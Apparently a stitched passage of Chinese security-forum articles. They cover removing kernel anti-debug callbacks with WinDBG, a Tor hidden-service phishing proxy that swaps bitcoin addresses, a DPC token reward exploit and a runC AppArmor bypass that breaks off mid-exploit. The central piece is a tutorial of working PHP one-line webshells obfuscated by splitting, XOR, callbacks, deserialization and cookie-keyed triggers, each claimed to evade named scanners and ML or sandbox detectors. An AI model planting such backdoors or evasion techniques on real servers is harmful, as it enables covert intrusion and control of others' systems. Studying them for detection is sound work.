* SYNCHRONIZE
如果只设置了这些权限，那么驱动就不会执行后续检查过程，因而就不会过滤`OpenProcess`调用。然而，除了这几个白名单权限以外，如果程序请求其他权限，驱动会进一步执行一些检查过程，最终在调用返回前过滤掉相应的权限：
这里我不会详细介绍驱动的工作细节，因为本文的目的是介绍如何识别并移除各种产品所使用的这种hook的通用方法，根据前面已知的这些信息，我们已经找到了干扰并修改`OpenProcess`调用的那个驱动。
找到幕后黑手后，现在我们可以从内核中去掉已绑定的这个处理程序。
## 七、解开OpenProcess过滤器
如果想解开`OpenProcess`过滤器，我们首先需要找到与过滤器函数对应的`PreOperation`属性的地址。我们可以使用如下WinDBG命令完成这一任务：
!list -x ".if (poi(@$extret+0x28) != 0) { .echo handler at; ?? @$extret+0x28; u poi(@$extret+0x28); }" (poi(nt!PsProcessType)+0xc8)
识别出正确的地址后，我们可以清空这个指针，禁用掉处理函数，具体命令如下：
eq 0xffffa002`d31bacf8 0
此时，如果我们重新attach调试器，我们可以看到如下画面：
非常好，看上去我们已经打败了这个反调试技术！
好吧，其实结果并不完美。经过一些交互操作后，我们注意到调试器中会出现一些错误信息，事情并没有那么顺利。即使是在上一张图中，我们也可以发现寄存器的值全部为0，并且出现了访问冲突（access
violation）问题，肯定还有一些细节我们没有注意到。
## 八、解开线程过滤器
根据前文描述，我们已经知道`ObRegisterCallbacks`可以用来hook
`OpenProcess`，但这个函数还有其他用途吗？如果我们回头查一下[官方文档](https://msdn.microsoft.com/en-us/library/windows/hardware/ff558718\(v=vs.85).aspx)，就会知道该函数也可以用来hook
`OpenThread`调用：
幸运的是，最难的那一部分工作我们已经完成了，现在我们所需要做的就是找到线程回调函数所存储的具体位置，该位置对应的是`nt!PsThreadType`。
我们可以修改前面用过的那条WinDBG命令，查看这个驱动是否hook了`OpenThread`：
!list -x ".if (poi(@$extret+0x28) != 0) { .echo handler at; ?? @$extret+0x28; u poi(@$extret+0x28); }" (poi(nt!PsThreadType)+0xc8)
果不其然，我们找到了这个hook。与进程hook类似，我们可以使用类似的`eq`命令解开这个过滤器：
eq 0xffffc581`89df32e8 0
再次启动调试器：
现在，我们终于得到了完美的调试器会话。
## 九、总结
许多安全产品会使用这种反调试方法，希望阅读本文后，大家对这种方法有所了解。如果大家对此感兴趣，可以探索一下相关的漏洞奖励项目，比如bugcrowd上有一些安全产品的漏洞奖励计划，这些产品包括[AVG](https://bugcrowd.com/avgtechnologies)、[Cylance](https://bugcrowd.com/cylance)、[Sophos](https://bugcrowd.com/sophos)等（但我并没有将本文介绍的这种方法以漏洞内容提交，因为DKOM（Direct
Kernel Object Manipulation，直接操作内核对象）技术很有可能不属于漏洞奖励范畴）。
## 十、参考资料
* [TitanEngine](https://www.reversinglabs.com/open-source/titanengine.html)
* [DOUGGEM’S GAME HACKING AND REVERSING NOTES](https://douggemhax.wordpress.com/2015/05/27/obregistercallbacks-and-countermeasures/)
* [AVG Bug Bounty](https://bugcrowd.com/avgtechnologies)
* [x64Dbg GitHub](https://github.com/x64dbg/x64dbg) | 社区文章 |
# 【技术分享】螳螂捕蝉：伪造Tor隐藏服务进行钓鱼
|
##### 译文声明
本文是翻译文章，文章来源：incoherency.co.uk
原文地址：<http://incoherency.co.uk/blog/stories/hidden-service-phishing.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
[****](https://smsprivacy.org/)**[**SMS Privacy**](https://smsprivacy.org/)**
是我创建的一个隐私短信服务，可以作为Tor隐藏服务来使用，事实上的确有约10%的用户以这种方式来使用该服务。然而，我发现有些人伪造了我的Tor隐藏服务来创建一个钓鱼网站，在本文中，我会与读者分享我发现的一些细节。
**二、概述**
某一天，[Charlie](https://charlie.ht/)正在网上随便逛逛，突然，他发现使用谷歌搜索“site:*.onion.to
smsprivacy”会得到一些意想不到的结果。
**smspriv6fynj23u6.onion** 是合法的隐藏服务名，然而，搜索页面中出现了另一个结果：
**smsprivyevs6xn6z.onion** ，对应的站点看起来一模一样。
经过简单调研后，我们发现这个网站是一个简单的代理网站，即：所有发往该钓鱼站点的页面请求都会被转发到真实的隐藏服务上，并会返回收到的响应数据，只有几个特殊之处除外：
**1、头部中缺失Content-Length字段。**
HTTP客户端可以根据Content-Length头了解待传输内容的字节数。如果代理服务器不对响应数据进行修改，那么它可以保持Content-Length头不变，直接传递这个字段，因为代理服务器知道如果内容不发生改变的话，其数据长度也不会发生变化。
然而，这个代理服务器认为响应内容会发生改变，这意味着 **服务器准备在某些情况下修改响应内容** 。
既然如此，它为什么不修改Content-Length字段，使其对应修改后的内容长度呢？
可能是代理服务器想减少页面加载时间：如果代理服务器不需要预先了解长度值，那么它就可以在收到响应内容后以数据流方式直接发送给客户端，在发送过程中修改数据。如果代理服务器需要读取所有内容，再进行修改，然后再发送所有数据，那么有可能会增加页面加载时间，引起用户怀疑。
可能代理服务器作者无法接受存储所有内容所需的高内存负载。如果同一个服务器正在代理数十个至数百个其他隐藏服务，那么采用这种方案也是可以理解的。
**2、头部中Connection字段错误。**
合法站点与钓鱼站点的响应头对比如下所示。
合法站点：
$ torsocks curl -I http://smspriv6fynj23u6.onion/
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Fri, 13 Oct 2017 05:37:49 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 7387
Connection: keep-alive
Set-Cookie: [...]
X-Frame-Options: DENY
钓鱼站点：
$ torsocks curl -I http://smsprivyevs6xn6z.onion/
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Fri, 13 Oct 2017 05:37:57 GMT
Content-Type: text/html;charset=UTF-8
Connection: [object Object]
Set-Cookie: [...]
X-Frame-Options: DENY
头部中Connection字段由keep-alive变成了[object Object]。
**当你使用javascript语言，将某个对象转化为字符串时，如果该对象没有实现toString()方法，就会得到这个结果。这个线索非常重要，可以告诉我们代理服务器正在运行的软件类型。**
代理服务器很有可能使用的是NodeJS。我无法在node-http-proxy或者Harmon上复现这个bug（Harmon是node-http-proxy的中间件，用来修改响应数据）。很有可能代理服务器使用了自定义的解决方案。如果有人知道什么软件会有bug导致Connection头变为[object
Object]，请及时告诉我。
**3、代理服务器会缓存某些非预期的javascript文件（可能会有其他文件被缓存下来）。**
我添加了一些Javascript，以检测页面是否运行在某个流氓域名上，如果的确如此，脚本会把 **document.referrer**
信息POST给我，以便后续分析。我发现使用合法网站时，浏览器会修改我使用的脚本，然而，使用钓鱼网站时，我会得到一个过时的版本，据此，我判断钓鱼站点使用了某些额外的缓存机制。这样做可能也是为了减少页面加载时间。
在写这篇文章时，我尝试着调查这种缓存机制，然后发现了更为有趣的一些信息。代理服务器会丢弃掉跟踪脚本获得的所有内容，因此我无法获取这些信息。重命名脚本并稍加修改内容后，我解决了这个问题，但我实在不想玩这种猫捉老鼠的游戏。这种情况至少意味着有人正在积极维护这个代理服务，及时采取措施保持服务正常运行。
**4、隐藏服务地址被修改。**
代理服务器似乎会重写 **smspriv6fynj23u6.onion** 的所有实例，将其改为 **smsprivyevs6xn6z.onion**
。尽管如此，它对大写的地址不会采用相同操作。
**5、比特币地址被修改。**
这是钓鱼站点的真正目的。通常情况下，钓鱼网站会窃取用户凭据，以便后续使用或者出售这些信息，但这个站点采用的方法更加直接，它将原始的比特币地址修改成攻击者可以控制的地址。
当首次重定向到支付页面时，在页面加载之前用户能感受到一段延迟，大概是因为代理服务器后台正在生成一个新的比特币地址（这个操作需要一段时间，意味着该地址正被插入一个缺少索引的规模巨大的数据库，或者该地址由速度较慢的机器生成而得，或者攻击者使用速度较慢的代码语言来生成这个地址。如果是后面这种情况，这有可能表明RNG（随机数生成器）本身也不安全）。所有以文本形式表示的比特币地址都会被重写为攻击者可控的地址，合法地址与伪造地址之间实现了一一映射关系。值得注意的是，二维码（QR）保持不变，仍然对应原始的合法地址。
我向伪造的地址（ **1GM6Awv28kSfzak2Y7Pj1NRdWiXshMwdGW**
）发起了一条支付请求，想看看会发生什么事情。这个信息并不会出现在网站上，更加确定了这是个静默代理站点。目前这笔钱还没被使用，但一旦被使用，我们可能会观察到一些有趣的信息。
**三、伪造站点如何分发给用户**
当用户在未知域上查看站点时，Javascript会把referrer信息POST到服务器上，我看到了一些不同的返回结果。大多数情况下，这些信息都源自于人们使用web代理（如onion.link）来查看隐藏服务，然而，我发现了两个比较特殊的隐藏服务：
7cbqhjnpcgixggts.onion：“The onion
crate”：这是Tor隐藏服务的列表。与远古的“Web网站清单”类似，但专为Tor设计，其上钓鱼站点被突出标记为“钓鱼链接”（然而reddit上有人指出"The
onion crate"这个服务本身就是钓鱼链接）
hss3uro2hsxfogfq.onion：“not Evil”：这是个搜索引擎服务，用来搜索Tor隐藏服务。搜索“sms
privacy”时，合法站点排在第一位，钓鱼站点排在第二位。我点击了钓鱼站点旁的“滥用情况报告（report
abuse）”按钮，然而目前搜索结果还没有将其删除。
这并没有给出我想要的结果。我希望找到某人仿造的推特、博客或者类似信息。“The onion
crate”的后台负责人不太可能负责维护这个钓鱼站点。因为如果我希望人们使用我的钓鱼站点，那么该站点就不会被标记为“钓鱼链接”。负责维护“not
Evil”搜索引擎的人有可能是肇事者，虽然这种情况也不大符合实际。如果我正在维护某个搜索引擎，目的是向用户推送钓鱼链接，那么我根本不会将正常链接包括在搜索结果中，更何况将其排在第一位。
很有可能真正的钓鱼攻击正准备实施，“The onion crate”于2017-05-17将钓鱼链接标记出来，表明这个钓鱼网站已经存活了一段时间。
**四、谁是肇事者**
最有可能的结果是，某个普普通通的网络犯罪分子写了个代理服务器，将比特币地址替换为自己的地址，为各种合法的隐藏服务生成了许多伪造的隐藏服务，然后坐等金钱滚滚流入他的钱包。
起初我认为是情报部门希望监控隐私短信用户，然而，如果是这种情况，他们不会修改比特币地址，导致站点失效，而是希望悄悄进行监视。我猜想情报部门会将该站点设计成只监听特定的用户子集，对其他人呈现普通的钓鱼站点，但我还是认为“普普通通的网络犯罪分子”这种可能性最大。
与传统网站的钓鱼相比，伪造隐藏服务进行钓鱼要容易得多，这是因为想要定位隐藏服务的服务器本身就不是件容易的事（这也是隐藏服务的设计理念），隐藏服务没有集中管控的命名系统，这意味着即便是合法的站点，其地址中也会包含随机字符。想要获得伪造的地址也比较容易。随后，即便伪造的钓鱼网站被发现，也没有人能够撤销攻击者的域名或者关闭掉托管的页面。这是完美的犯罪行为，唯一的缺点就是，与普通站点相比，隐藏服务站点的目标用户群体的技术水平往往更高，因此不是那么好欺骗。
**五、用户如何保护自己**
****
SMS
Privacy的客户应该确保他们使用HTTPS方式浏览smsprivacy.org，如果使用Tor的话，请核实使用的隐藏服务名为唯一正确的smspriv6fynj23u6.onion。除此之外，其他访问方式几乎肯定会带来安全风险。
**六、是否有用户受到影响**
我尚未收到用户发来的电子邮件，抱怨他们的支付情况出现异常（当然实际情况并非如此，然而每种出错情况最终都归根于我自己犯的错误，与用户不小心浏览钓鱼网站无关）。因此，我想说的是目前没有用户受到影响，或者至少没有大量用户受到影响。
**七、后续调查**
我猜测运行这个代理的软件也同时正在代理其他许多隐藏服务。如果你想写些代码来代理隐藏服务，你只需要将域名改成自己的域名，将比特币地址改成自己的地址，整个过程差不多就搞定了。你可以将代理服务放置在许多上游隐藏服务的前端，这几乎不需要消耗额外的精力及资源，所以，如果攻击者没有这么做我反而会感到奇怪。
事实上，如果我们能找到另一个Tor隐藏服务钓鱼站点，他们共享相同的特征（即Connection: [object Object]、缺失Content-Length字段、重写小写的隐藏服务地址、首次呈现比特币地址时会有延迟以及访问未知主机名时返回500响应代码），那么我们也能发现一些有趣的结论。
此外，如果我们探测该网站的漏洞，看看是否能找到所代理的隐藏服务的完整列表，那么也会非常有趣。攻击者很有可能在代理代码中实现主机名选择功能，也就是说请求不同的钓鱼站点可能会返回其他钓鱼站点的内容。如果出现这种结果，就可以更加确信这些代理站点运行在同一台主机上。
**八、总结**
发现有人正在积极从事这项活动是非常有趣的一件事情，只要稍作思考，我们可知大范围部署这种方案非常容易：只需一个周末的时间，攻击者就能搭建起基本的工作环境。如果未来有大量隐藏服务的钓鱼网站出现，我并不会感到惊讶。
**九、2017-10-13更新**
在这篇文章发表之后，我根据“后续调查”中的建议做了些调研。我在“The onion
crate”中查找其他钓鱼链接，发现某个网站会在响应头中包含Connection: [object Object]信息，也会传递伪造的SMS
Privacy隐藏服务地址。调查结果表明，这个毫不相关的隐藏服务同样给出了伪造的SMS
Privacy内容！这表明这两个站点很有可能托管在同一台主机上，由同一个操作者（或者组织）进行维护，这一切证实了这个系统的规模非常庞大：
$ torsocks curl -I -H 'Host: smsprivyevs6xn6z.onion' http://cboc66yz75virnj7.onion
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Fri, 13 Oct 2017 16:26:10 GMT
Content-Type: text/html;charset=UTF-8
Connection: [object Object]
Set-Cookie: mojolicious=eyJsYW5kaW5nX3VybCI6Ii8iLCJhYnRlc3RzIjp7ImxhbmRpbmdfdXJsIjoiLyIsInNpZ251cGxpbmsiOiJvcmlnaW5hbCIsInJlZmVyX3NyYyI6Im5vbmUiLCJoaWRkZW5fc2VydmljZSI6ImhpZGRlbiJ9LCJleHBpcmVzIjoxNTA3OTE1NzE1LCJjc3JmX3Rva2VuIjoiZmQzNjc4NzcyMjRiNDZkZWZhYjNhM2ViZDIwMDY0ZmRmMDliZmQ0NCIsImFidGVzdHNfc2Vzc2lvbmlkIjoiOGM4NWQxMTZjMmE1MTBkOSJ9--785fbe83dce1217e74543ed831eb4c18c1cd6105; expires=Fri, 13 Oct 2017 17:28:35 GMT; path=/; HttpOnly
X-Frame-Options: DENY | 社区文章 |
# 探讨新技术背景下的一句话免杀
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一句话木马是一般是指一段短小精悍的恶意代码，这段代码可以用作一个代理来执行攻击者发送过来的任意指令，有体积小、隐蔽性强、功能强大等特点.
当然很多时候是因为方便,再加上这些年菜刀,蚁剑,冰蝎的发展,使得一句话木马被广泛应用于渗透过程中
从一句话木马出现到现在也有好多年的历史了,这些年友军也没闲着，涌现出了各种防护系统以及各种新技术,本文就来简单探讨一下在新技术背景下的一句话免杀.
## 主流webshell检测系统的检测方向
1.基于特征(正则表达式、黑名单制)检测的防护
2.基于行为+特征(沙盒技术、深度学习、机器学习)检测的防护
## 基于PHP语言版本对函数&免杀方法的影响
以下免杀方法仅对PHP版本7.1以下有效,部分免杀思路可以应用到7.1及其以上
在介绍影响之前首先先说明PHP中eval函数和assert函数的不同之处
**eval:**
其实eval不能算是一个函数,它是一个语言构造器,语言构造器就相当于C中的预定义宏的意思，它属于php语言内部定义的关键词，不可以被修改，也不可以被禁用,同时语言构造器执行速度也比正常的函数要快,但是语言构造器不能被可变函数调用,可变函数就是通过一个变量获取其中的变量值,然后给该值加入(),使其变成一个函数去执行.通俗的讲就是<?php
$a=”eval”;
@$a(@$_REQUEST[‘x’]); ?>这样是行不通的,这也就是为什么大家都是围绕着assert去进行各种变换&绕过.
但是在7.1版本中assert已经不行了,也就是说想要制作webshell必须要eval进行组成,在后面我会讲一些关于7.1之后的思路.但是可以预见到的是,如果完全过度到7.1以及以后版本之后,webshell的免杀的难度会大大增加.
下面针对这几种防护方向进行bypass
## 一.突破基于特征检测&静态检测的防护
**绕过目标:**
D盾
<http://www.d99net.net/down/WebShellKill_V2.0.9.zip>
安全狗
<http://download.safedog.cn/download/software/safedogwzApache.exe>
首先一句话木马的原理和功能用过的朋友都知道,核心就是要把字符串当作php代码进行执行,其中在php语言中,主要会使用eval和assert这两种函数,相关的变形和突破都是围绕着这两个函数以及字符串.
##### 思路1.变换关键字
变换关键字这种办法一般安全设备的厂商都能识别,一般很难奏效了,这里具体就举几个思路很不错的例子,毕竟打组合拳还是需要这些思路的.
其中一些思路还是和一般绕过差不多
**编码 &拆解合并**
利用各种字符串处理函数以及可变函数将一些敏感关键字变形，做到通过简单正则无法识别的地步
举个例子:
<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t");
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);//payload
?>
同样规则的还有编码,利用编码隐藏关键字,核心思路都是:隐藏->还原->拼接执行
函数可以参考PHP的string函数
<https://www.w3school.com.cn/php/php_ref_string.asp>
或者通过定义数组能起到相同的效果
<?php
$array = array(
'part_one' => false,
'part_two' => $_REQUEST['x'],
);
eval($array['part_one'].$array['part_two']);
?>
**随机异或加密**
其实这个也是隐藏关键字的一种办法,只不过方法利用的随机异或的方法来进行隐藏关键字
举个例子:`$a="Y"^"8"//a`
利用异或来组成字符,也是一种很不错的思路,组合一下就成了下面的例子了:
<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$one="Y"^"8";//a
$two="T"^"'";//s
$three="*"^"O";//e
$four="M"^"?";//r
$five="-"^"Y";//t
$payload=$one.$two.$two.$three.$four.$five;
@$payload(@$_REQUEST['x']);
?>
**可变变量 &函数**
这里主要是利用PHP语言特性进行混淆
**可变变量**
<?php
$a='assert';
$b='a';
//$$b=assert
?>
利用到木马上就是
<?php
$a='assert';
$b='a';
$$b($_REQUEST['x']);
?>
**可变函数**
可变函数前面介绍过了,简单的说就是一个变量名如果后门有()的话,PHP将会寻找与变量的值同名的函数，并且尝试执行它.
我们可以利用这点来进行混淆利用
举个例子
<?php
@$_REQUEST['z'](@$_REQUEST['x']);
?>
##### 思路2.使用不常见的回调函数
显然像eval和assert
无论你怎么混淆或者伪装,waf以及查杀都会重点照顾他们,但是作为世界上最好的语言(笑),怎么可能灵活性这么差,我们可以利用一些冷门的回调函数进一步混淆&包装他们.
但是使用这些冷门的回调函数首先会出现一个问题,怎么去寻找这些函数?
这里分享一下方法: **利用特征值去寻找冷门回调函数**
首先我们看一下能够利用的函数都有那些特征值,举个例子
首先来个常见的可利用的回调函数,call_user_func,看下英文解释找到其中的特征
**callback** ,什莫是特征?就是能够被利用的关键就是特征,能够被利用的回调函数的特征
**1.回调函数**
**2.被调用**
**3.参数**
**4.方法**
依次类推,总结成特征,翻译成英文就是 **called,callable,callback,invoke,function**
以这些作为特征进行搜索寻找,能够大大减小搜索范围,增加找到的成功率
**冷门回调函数绕过传统查杀**
通过这种方法我们找到了forward_static_call()函数,利用它进行免杀
<?php
class test1
{
public static function test2()
{
forward_static_call("assert", @$_REQUEST['x']);
}
}
test1::test2();
?>
经测试,已过D盾,安全狗
##### 思路3.正常代码隐藏&主动触发命令执行
这里主要利用PHP中可能存在命令执行漏洞的位置,然后去构造这个漏洞和触发它,达到命令执行->木马的目的.
这里主要是利用正常代码去混淆,这里举一个使用序列化漏洞触发命令执行的例子,同时这也是思路之一,使用正常代码去隐藏行为.相同道理,把一些敏感函数写在类或者自定义的函数里面,同样可以起到相同的效果.写的越接近业务逻辑代码,免杀的可能性就越高
**构造漏洞**
<?php
class payload_test{
public $data="text";
function __destruct()
{
eval($this->data);
}
}
$file_name=$_GET['x'];
unserialize($file_name);
?>
**触发命令执行**
`?x=O:12:"payload_test":1:{s:4:"data";s:10:"phpinfo();";}`
检测之后,可过狗,但是D盾会报反序列化
#### 以上这些思路和方法可以绕过一般的WAF&查杀,但是随着科技发展,越来越多的厂商选择使用机器学习算法以及动态检测技术来检测webshell.
## 二.突破基于机器学习技术的webshell查杀&基于动态检测技术的webshll查杀
**绕过目标:**
基于动态检测技术的webshell检测
<https://scanner.baidu.com/#/pages/intro>
基于深度学习模型的webshell检测
<http://webshell.cdxy.me/>
经过查阅一些资料发现,基于机器学习的webshell检测发现主要围绕着以下几种方式
**1.收集webshell作为训练样本然后进行分类的黑名单训练**
**2.收集正常PHP业务逻辑代码和流量，进行白名单训练**
**3.如果直接用源代码分析,可能会出现很多的噪音，比如注释内容、花操作等等。为了过滤掉这些噪音。所以，我们使用PHP opcode
进行分析。这也是我查阅的资料中目前识别准确率较高的一种办法,比较推荐使用兜哥的opcode &n-gram模型.**
兜哥文章:<https://mp.weixin.qq.com/s/1V0xcjH-6V5qJoJILP0pJQ>
动态检测技术,主要思路是将webshell放入沙盒,通过在沙盒中执行来分析行为,或者是使用RASP技术进行检测,这种防御手段也是彻底封死了基于混淆&隐藏的这种免杀手段了.
在不使用加密这种手段的前提下,有没有一种办法可以绕过基于这俩种技术的检测呢?
后来我在主动触发命令执行中找到了一些思路
为何主动触发命令执行这种办法能够混淆?就是因为再没有传入关键key值之前,它就是一段正常的代码,没有任何危害性,同理,应对以上两种技术我们可以使用相同的办法,用正常代码来混淆,在没有传递或者正确打开key值之前,它就是一段无害的代码,只有拥有了关键的key值,它才能变成木马.
也就是说,沙盒运行中webshell没有关键信息,所以它是人畜无害的,自然就免杀了,当我们连接的时候会带上关键key,自然就会变成后门木马.
下一个问题是关键信息怎么携带?思考了下,总结了几种办法
**1.HTTP-head**
**2.HTTP-body**
**3.文件名**
举个例子
<?php
class test1
{
public static function test2()
{
$part = @$_COOKIE['cake'];
if ($part != 'assert') {
exit();
} else {
forward_static_call($part, @$_REQUEST['x']);
}
}
}
test1::test2();
?>
这样就做到了使用正常代码进行混淆的效果了,在不传入cake的时候,它就是无害的代码,一旦传入cake值为assert,就可以变成木马进行利用.
连接也是成功的
下面准备突破基于这两种技术的webshell查杀
机器学习突破
动态检测突破
使用这种办法,基于这两种技术的webshell检测基本就可以绕过了.
## 三.对于PHP7.1后webshell免杀的问题
关于这类问题,我相信看完前面的你,对于只能用eval的问题应该有一些思路了,如果没有这里可以给几点建议
**1.既然不能混淆assert,那就混淆$_GET,$_POST,$_REQUEST,这种变量,会绕过一部分检测**
**2.使用正常代码混淆是依旧有效果的,因为正常代码中一样会出现eval**
**3.利用Apache、Nginx的特性实现免杀Webshell,感兴趣的可以参考下链接<https://www.uedbox.com/post/51694/>**
## 四.总结
对于冷门的回调函数以及各种花式混淆构造出的木马,基于传统的特征&黑名单检测已经失效了,要绕过这些很简单,因此已经失去了对抗webshell的意义了
对于新型的动态检测来说,还是不够成熟和稳定,但是很期待,它将会颠覆传统意义上的WAF.
下一篇可以讲下这种动态检测的背后—OpenRASP的技术原理和应用层次
对于机器学习模型检测来说,虽然效果大于基于规则的传统WAF,但是由于PHP本身的灵活性以及动态性,可以看到再不搞多维的情况下,难以有较好的效果(可能有大厂在样本庞大的情况下已经有了较好的模型,但是emmmm我也拿不到)
最后还是比较看好动态检测技术,也就是RASP防御,希望RASP 在未来一段时间内可以逐渐取代流量层 WAF 成为主流防御方式.
对于免杀来说,最重要的还是思路,以及对方使用的防御系统的了解,”知己知彼,百战不殆”,个人觉得想要免杀不是一件很难的事情,一个是多fuzzing,知道对方的防御规则以及原理,然后根据这些找出弱点进行绕过,另一个就是思路要灵活,要会打组合拳,一个思路不行,就多个思路组合在一起,多试试总是可以的. | 社区文章 |
# DPC攻击复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
北京时间2022年9月10日，DPC代币合约遭到黑客攻击，损失超73,614 BUSD,
零时科技安全团队及时对此安全事件进行分析，详情可移步至分析文章“零时科技 || DPC攻击事件分析”。
## DPC合约简介
DPC合约是一个ERC20代币合约，合约提供兑换、转移代币等功能。用户可以使用USDT兑换获得DPC代币，将DPC代币与USDT进行质押来获得DPC代币奖励。
## 漏洞核心
由于DPC合约中计算奖励算法存在漏洞，攻击者通过质押流动性代币获得奖励，通过调用函数取出代币时进行奖励累加，在合约中取出任意数量代币都会进行奖励累加操作且对于操作没有频率的限制，并且在奖励累加时会进行两次累加操作，使得计算奖励时会翻倍增加。
1.通过质押代币将oldClaimQuota[] 与 dpcLp[]赋值
2.调用claimStakeLp()函数计算奖励
3.getClaimQuota()函数中可以看到再次执行了ClaimQuota的加法操作，调用一次计算奖励函数时会给奖励进行翻倍。
## 漏洞测试
攻击合约核心代码
**测试结果**
攻击合约初始资金为204代币，向被攻击合约质押200代币后调用攻击函数，每调用一次攻击函数向被攻击合约转移1个代币实现奖励累加，调用四次攻击函数后获得的奖励为321代币，将奖励提取至被攻击合约。
## 漏洞预防
1. 在计算奖励的函数中设置奖励计算的频率，并且设置每次调用函数时传入参数的最小值，避免攻击者可以通过转移小额代币就可以实现奖励的累加。
2. 将计算奖励函数中累加计算改为只进行函数调用，避免一次调用函数实际进行了两次奖励累加。
修改之后用同样的攻击方法获利只有38代币，为正常应获得的奖励数额。 | 社区文章 |
# runC CVE-2019-16884-欺骗AppArmor分析及其思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前置技术
### apparmor
> 参考链接：
>
> <https://zh.wikipedia.org/wiki/AppArmor>
>
> <https://www.kernel.org/doc/html/latest/admin-guide/LSM/index.html>
>
> 如何使用内核安全模块：<https://www.kernel.org/doc/html/latest/admin-> guide/LSM/index.html>
>
>
> /proc/self/attr/exec使用：<https://gitlab.com/apparmor/apparmor/-/wikis/AppArmorinterfaces#procselfattrexec>
简单来说apparmor可以让管理员通过程序的配置文件限制程序的功能，其本身作为一个内核模块集成在Linux内核中(这里可能会有人发现lsmod里面并没有apparmor，这是因为lsmod展示的是所有动态加载的内核模块，通过ls
/sys/module/ 就可以看到所有的内核模块包括系统中内置的)，因此其通过内核提供强访问控制。
cat /sys/module/apparmor/parameters/enabled //查看是否开启apparmor，返回为Y表示开启
sudo cat /sys/kernel/security/apparmor/profiles // 查看加载的配置文件
那么在Docker中是如何判断内核是否开启了apparmor功能模块呢？其实也是通过查看`/sys/module/apparmor/parameters/enabled`文件来确定的相关代码可以参考[这里](https://github.com/moby/moby/blob/master/daemon/apparmor_default.go)。docker
Deamon默认的apparmor策略可以参考[这里](https://github.com/moby/moby/blob/master/profiles/apparmor/template.go)。
那么对于runC启动容器来说其也会加载[apparmor策略](https://github.com/opencontainers/runc/blob/8bf216728cd558d736eda2dff404b34b262b8c77/libcontainer/standard_init_linux.go#L115-L117)，应用的过程就是将`exec
文件路径`写入到`/proc/self/attr/exec`，具体可参考[源码](https://github.com/opencontainers/runc/blob/8bf216728cd558d736eda2dff404b34b262b8c77/libcontainer/apparmor/apparmor.go#L23-L56)。
## 漏洞分析
CVE-2019-16884可以使得用户绕过apparmor的一些策略进而可以实现一些提权操作。
问题函数：
<https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux.go#L286>
在该函数中会对需要挂载的目标路径进行合法判断：
default:
// ensure that the destination of the mount is resolved of symlinks at mount time because
// any previous mounts can invalidate the next mount's destination.
// this can happen when a user specifies mounts within other mounts to cause breakouts or other
// evil stuff to try to escape the container's rootfs.
var err error
if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil {
return err
}
if err := checkMountDestination(rootfs, dest); err != nil {
return err
}
// update the mount with the correct dest after symlinks are resolved.
m.Destination = dest
if err := os.MkdirAll(dest, 0755); err != nil {
return err
}
return mountPropagate(m, rootfs, mountLabel)
但是在checkMountDestination函数中，其对invalidDestinations的判断存在问题，假设rootfs为/test那么拼接出来的非法路径就是/test/proc，那么`path`就代表相对于/test/proc的路径，条件`path
!= "."`判断出并非路径/test/proc，条件`!strings.HasPrefix(path,
"..")`判断出路径不在/test/proc/目录内。但是它忽略了 **path==”/test/proc”** 的情况。
项目的[测试代码](https://github.com/opencontainers/runc/blob/7507c64ff675606c5ff96b0dd8889a60c589f14d/libcontainer/rootfs_linux_test.go#L19-L25)同样存在问题，错把`==`写错为`!=`，最终导致及时在测试阶段也没排除bug。
// checkMountDestination checks to ensure that the mount destination is not over the top of /proc.
// dest is required to be an abs path and have any symlinks resolved before calling this function.
func checkMountDestination(rootfs, dest string) error {
invalidDestinations := []string{
"/proc",
}
// White list, it should be sub directories of invalid destinations
validDestinations := []string{
// These entries can be bind mounted by files emulated by fuse,
// so commands like top, free displays stats in container.
"/proc/cpuinfo",
"/proc/diskstats",
"/proc/meminfo",
"/proc/stat",
"/proc/swaps",
"/proc/uptime",
"/proc/loadavg",
"/proc/net/dev",
}
for _, valid := range validDestinations {
path, err := filepath.Rel(filepath.Join(rootfs, valid), dest)
if err != nil {
return err
}
if path == "." {
return nil
}
}
for _, invalid := range invalidDestinations {
path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest)
if err != nil {
return err
}
if path != "." && !strings.HasPrefix(path, "..") {
return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid)
}
}
return nil
}
整个问题函数的调用链如下：
libcontainer.Init() -> prepareRootfs() -> mountToRootfs() -> checkMountDestination()
因此整个挂载过程在Init()阶段就已经完成，因此就导致后期进行ApplyProfile()函数调用的时候无法使用正确的/proc/self/attr/exec，进而对runC形成了一种欺骗效果。
在看漏洞相关的[issues](https://github.com/opencontainers/runc/issues/2128)的时候得知，为了防止符号链接攻击，作者采用了以相对于宿主机根路径而不是相对与roofs的[方法](https://github.com/opencontainers/runc/pull/1832/commits/636b664027293628bbb59a58e7ec5d4cd567affb)，但是因为缺少逻辑判断导致引发的新的漏洞问题。同时，当时发现该漏洞的人发觉该漏洞同时可以[控制SELinux](https://github.com/opencontainers/runc/issues/2128#issuecomment-535478352)，因为其也会使用/proc/self/attr/目录下的，个人认为这种联想和发现问题以及将相同的问题扩展到不同场景上的能力是漏洞挖掘人员的核心能力之一。
### 如何利用？
假设我们可以成功挂载/proc卷，那么我们就可以自定义/proc里面的内容，这样我们就可以使得/proc/self/attr/exec可控，因此就会使得相关的apparmor安全策略无法加载。
因此我们需要构造一个恶意镜像：
mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec} # exec 我懂，别的是啥意思
touch rootfs/proc/self/fd/{4,5}
cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /
